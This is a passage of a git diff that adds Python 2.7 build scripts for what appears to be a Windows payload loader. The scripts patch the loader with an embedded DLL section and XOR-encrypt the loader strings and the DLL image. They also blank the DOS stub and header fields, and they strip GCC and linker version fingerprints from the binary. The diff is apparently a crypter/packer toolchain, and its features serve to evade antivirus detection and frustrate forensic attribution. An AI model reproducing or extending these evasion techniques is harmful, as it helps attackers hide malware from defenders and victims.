--endmarker: '+str(endmarker).encode('hex')+' != '+str(tmp).encode('hex')+'\n') + sys.stderr.write(bname + ': using '+str(tmp).encode('hex')+'\n') + endmarker = tmp + if len(endmarker) % 4 != 0: + sys.stderr.write(bname + ': endmarker length MUST be a multiple of 4 and not ' + str(len(endmarker)) + '\n') + sys.exit(1) + if options.verbose: + print bname + ': using 0x' + endmarker.encode('hex') + ' as endmarker' + # win32_pe is required for all operations + if options.win32_pe is None: + sys.stderr.write(bname + ': WIN32_PE is required for all operations\n') + parser.print_help() + sys.exit(1) + # same applies for section (TODO: Maybe discard section and search for endmarker in whole pe file) + if options.section is None: + sys.stderr.write(bname + ': --win32 needs --section\n') + parser.print_help() + sys.exit(1) + # target section is required (specifies the DLL section) + if options.patch and options.target_section is None: + sys.stderr.write(bname + ': --patch needs --target-section\n') + parser.print_help() + sys.exit(1) + # patch win32_pe directly if possible + if options.out_file is None: + options.out_file = options.win32_pe + + for binary in [options.win32_pe, options.miller_bin]: + if binary is not None: + if not os.access(binary, os.R_OK): + sys.stderr.write(bname + ': No read access ' + binary + '\n') + sys.exit(2) + + if not(os.path.isfile(objdmp_bin) or os.access(objdmp_bin, os.X_OK)): + sys.stderr.write(bname + ': objdump ('+objdmp_bin+') does not exist or is not executable\n') + sys.exit(2) + + # read win32pe/miller_bin + buf = None + (ldrVma, ldrPtr, ldrSiz) = objdump_sections(options.win32_pe, options.section) + if (ldrVma or ldrPtr or ldrSiz) is None: + sys.stderr.write(bname + ': Error: Loader section missing or objdump binary does not work.\n') + objdump_print_err(bname) + sys.exit(3) + # print section offset/size + if options.verbose: + print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.section, options.win32_pe, ldrVma, ldrPtr, ldrSiz)) + # load file to memory + buf = file_to_buf(options.win32_pe) + if buf is None: + sys.stderr.write(bname + ': could not load file '+options.win32_pe+' into memory\n') + sys.exit(3) + # search loader endmarker + endoff = find_endmarker_offset(endmarker, buf, ldrPtr, ldrSiz) + if endoff == -1: + sys.stderr.write(bname + ': endmarker(`'+endmarker.encode('hex')+'`) not found\n') + sys.exit(3) + if options.verbose: + print bname + ': endmarker(`'+endmarker.encode('hex')+'`) found at '+str(endoff)+' ('+str(hex(endoff))+')' + # -a, -z, -m + if options.show_adr: + print str(ldrPtr) if not options.verbose else str(bname) + ': '+options.section+' offset: '+str(ldrPtr)+' ('+str(hex(ldrPtr))+')' + if options.show_siz: + print str(ldrSiz) if not options.verbose else str(bname) + ': '+options.section+' size: '+str(ldrSiz)+' ('+str(hex(ldrSiz))+')' + if options.show_marker: + print str(endoff) if not options.verbose else str(bname) + ': '+options.section+' endmarker: '+str(endoff)+' ('+str(hex(endoff))+')' + + # parse dll and patch loader + if options.win32_pe is not None: + if options.target_section is None: + sys.stderr.write(bname + ': Dumping data from target section requires --dll-section\n') + sys.exit(3) + (dllVma, dllPtr, dllSiz) = objdump_sections(options.win32_pe, options.target_section) + if (dllVma or dllPTr or dllSiz) is None: + sys.stderr.write(bname + ': Error: DLL (target)section missing or objdump binary does not work.\n') + objdump_print_err(bname) + sys.exit(3) + if options.verbose: + print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.target_section, options.win32_pe, dllVma, dllPtr, dllSiz)) + + # let's encrypt + if pycrypt is not None and options.win32_pe is not None and buf is not None: + ((keybuf,keypatched), (ivbuf,ivpatched)) = getXorKeyIv(buf, loaderdict, endoff, pycrypt.xorRandomKeyIv) + if options.verbose: + print bname + ': ' + ('XOR(KEY) patched' if keypatched is True else 'XOR(KEY) !patched') + ', ' + ('XOR(IV) patched' if ivpatched is True else 'XOR(IV) !patched') + print (bname + ': XOR(KEY,LEN): %s (%d bytes)\n' + bname + ': XOR(IV ,LEN): %s (%d bytes)') % (str(keybuf).encode('hex'), len(keybuf), str(ivbuf).encode('hex'), len(ivbuf)) + else: + if options.show_xorkey: + print str(keybuf).encode('hex') + if options.show_xoriv: + print str(ivbuf).encode('hex') + + # Loader string encryption + if options.crypt_strings is True: + (isPlain, isValid) = isLoaderStringsEncrypted(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt) + if not isValid: + sys.stderr.write(bname + ': XOR Loader Strings are not valid, wrong XOR key/iv?\n') + sys.exit(4) + if not isPlain: + sys.stderr.write(bname + ': XOR Loader Strings already encrypted\n') + elif patchLoaderStrings(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt) is not True: + sys.stderr.write(bname + ': XOR Crypt Loader Strings failed\n') + sys.exit(4) + elif options.verbose: + print bname + ': String encryption succeeded!' + + # PE binary encryption + if options.crypt_dll is True: + (validDOS, validPE) = isDllHeaderEncrypted(buf, dllPtr) + if validDOS is not True or validPE is not True: + sys.stderr.write(bname + ': Not a valid DOS/PE Header, already encrypted?\n') + else: + ret = patchEncryptDll(buf, dllPtr, dllSiz, keybuf, ivbuf, pycrypt.xorCrypt) + if ret != (True, True, True): + sys.stderr.write(bname + ': PE encryption failed! Returned: %s\n' % (str(ret))) + sys.exit(4) + if options.verbose: + print bname + ': PE encryption done' + + # parse dll and patch loader + if options.patch and pyload is not None and buf is not None: + if options.verbose: + print bname + (': Patching Loader with dll section (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (dllVma,dllPtr,dllSiz)) + found = patchLoader(buf, loaderdict, endoff, (dllVma,dllPtr,dllSiz)) + if found: + if not buf_to_file(options.out_file, buf): + sys.stderr.write(bname + ': could not write buffer to disk\n') + sys.exit(4) + if options.verbose: + print bname + ': Patching succeeded!' + else: + sys.stderr.write(bname + ': None found ..\n') + sys.exit(4) + + sys.exit(0) diff --git a/batch/pycrypt_test.py b/batch/pycrypt_test.py new file mode 100755 index 0000000..1d7e0fb --- /dev/null +++ b/batch/pycrypt_test.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python2.7 + +import binascii, imp, time, sys, os.path + + +m = imp.load_dynamic('pycrypt',os.path.dirname(sys.argv[0])+'/../bin/pycrypt') +m.info() + +def check_str(d, p): + if str(d).find(str(p)) != 0 and len(d) != len(p): + sys.stderr.write('ERROR: "' + str(d) + '" != "' + str(p) + '"\n') + sys.stderr.write(' ' + str(len(d)) + ' , ' + str(len(p)) + ' , ' + str(len(binascii.hexlify(d))) + ' , ' + str(len(binascii.hexlify(p))) + '\n') + sys.stderr.write(' "' + binascii.hexlify(d) + '"\n') + sys.stderr.write(' "' + binascii.hexlify(p) + '"\n') + +count = int(sys.argv[1]) if len(sys.argv) > 1 else -1 +while count != 0: + k = m.aesRandomKey(m.KEY_256) + print 'AESKey:', binascii.hexlify(k) + + p = 'Top Secret Message!' + str('#'*0) + + x = m.aesAllocCtx(k) + print 'AESCtx:', binascii.hexlify(x) + + c = m.aesCrypt(x, p, True) + print 'AESMsg:', binascii.hexlify(c), '(%d)' % (len(c)) + + d = m.aesCrypt(x, c, False) + print 'OrgMsg:', binascii.hexlify(d), binascii.hexlify(p) + print ' ', str(d), '(%d)' % (len(d)) + + check_str(d,p) + + xork = m.xorRandomKeyIv(8) + xori = m.xorRandomKeyIv(8) + print 'XorKey:', binascii.hexlify(xork) + print 'XorIv.:', binascii.hexlify(xori) + + c = m.xorCrypt(p, xork, xori) + print 'XorMsg:', binascii.hexlify(c), '(%d)' % (len(c)) + + d = m.xorCrypt(c, xork, xori) + print 'OrgMsg:', binascii.hexlify(d) + print ' ', str(d), '(%d)' % (len(d)) + + check_str(d,p) + + time.sleep(0.01) + + if count > 0: + count -= 1 diff --git a/batch/removeDosStub.py b/batch/removeDosStub.py new file mode 100755 index 0000000..8ed2247 --- /dev/null +++ b/batch/removeDosStub.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os +import binascii + + +e_lfanew_OFFSET = 0x40 +SizeOfHeaders_OFFSET = 0x04 + 0x14 + 0x3C # sizeof(PE_sig) + sizeof(COFF_hdr) + Optional_hdr->SizeOfHeaders +SizeOfHeaders_DEFAULT = 0x400 # default value for GCC + + +def main(argv): + found = 0 + absfound = 0 + buf = bytearray() + with open(argv[0], "rb") as fin: + for line in fin: + buf += line + if buf[0:2] != '\x4d\x5a': + return False + + e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET-0x4:e_lfanew_OFFSET])[0] + dosStubSiz = e_lfanew - e_lfanew_OFFSET + if buf[e_lfanew:e_lfanew+0x2] != '\x50\x45': + return False + i = int(e_lfanew) + SizeOfHeaders_OFFSET + SizeOfHeaders = struct.unpack("<L", buf[i:i+0x4])[0] + if SizeOfHeaders > SizeOfHeaders_DEFAULT or SizeOfHeaders <= 0: + return False + + newstart = (e_lfanew - dosStubSiz) + if newstart <= 0: + return False + newstart = struct.pack("<L", newstart) + + buf[0x2:0x3C] = '\x00'*(0x3C-0x2) + buf[0x3C:0x40] = newstart + buf[0x40:0x40+dosStubSiz] = '\x00'*(0x80-0x40) + buf[e_lfanew_OFFSET:] = buf[e_lfanew:SizeOfHeaders] + bytearray('\x00'*dosStubSiz) + buf[SizeOfHeaders:] + + with open(argv[0], "wb") as fout: + fout.write(str(buf)) + fout.flush() + return True + +if __name__ == "__main__": + bname = os.path.basename(sys.argv[0]) + if len(sys.argv) < 2: + sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n') + sys.exit(1) + if not os.access(sys.argv[1], os.W_OK): + sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n') + sys.exit(2) + print bname + ': Checking DOS/PE Header' + if main(sys.argv[1:]): + print bname + ': NULL\'d/REMOVED unused DOS header values/stub' + else: + print bname + ': Not a valid DOS/PE Header/Stub' + sys.exit(3) + + sys.exit(0) diff --git a/batch/removeGccVersion.py b/batch/removeGccVersion.py new file mode 100755 index 0000000..b88f581 --- /dev/null +++ b/batch/removeGccVersion.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os + +# replaces 'GCC: (GNU) 4.9.4' with zeroes (.rdata$zzz) +needle = '\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x34\x2e\x39\x2e\x34' +# zeroing major+minor linker version (0x010b = magic, 0x02 major, 0x19 minor => GNU ld 2.25) +needle2 = '\x0b\x01\x02\x19' + +def main(argv): + found = 0 + absfound = 0 + buf = bytearray() + with open(argv[0], "rb") as fin: + for line in fin: + buf += line + with open(argv[0], "wb") as fout: + pos = str(buf).find(needle) + while pos > -1: + poslen = 0 + if pos > -1: + for v in buf[pos:]: + if v == 0: + break + poslen += 1 + buf[pos:pos+poslen] = '\x00'*poslen + found += 1 + absfound += poslen + pos = str(buf).find(needle) + + pos = str(buf).find(needle2) + ldsig = False + if pos > -1 and pos <= 0x200: + ldsig = True + buf[pos+2] = '\x00' + buf[pos+3] = '\x00' + + fout.write(str(buf)) + fout.flush() + return ( bool(ldsig), int(found), int(absfound) ) + +if __name__ == "__main__": + bname = os.path.basename(sys.argv[0]) + if len(sys.argv) < 2: + sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n') + sys.exit(1) + if not os.access(sys.argv[1], os.W_OK): + sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n') + sys.exit(2) + print bname + ': Searching for GCC Fingerprint:', needle.encode('hex') + (ldsig, found, abslen) = main(sys.argv[1:]) + if found > 0: + print bname + ': Found', found, 'occurences; Zero\'d:', found * len(needle) + abslen, 'bytes' + else: + print bname + ': None found .. (.rdata$zzz already removed)' + if ldsig: + print bname + ': Linker signature removed ..' + else: + print bname + ': No Linker signature found' + + sys.exit(0) |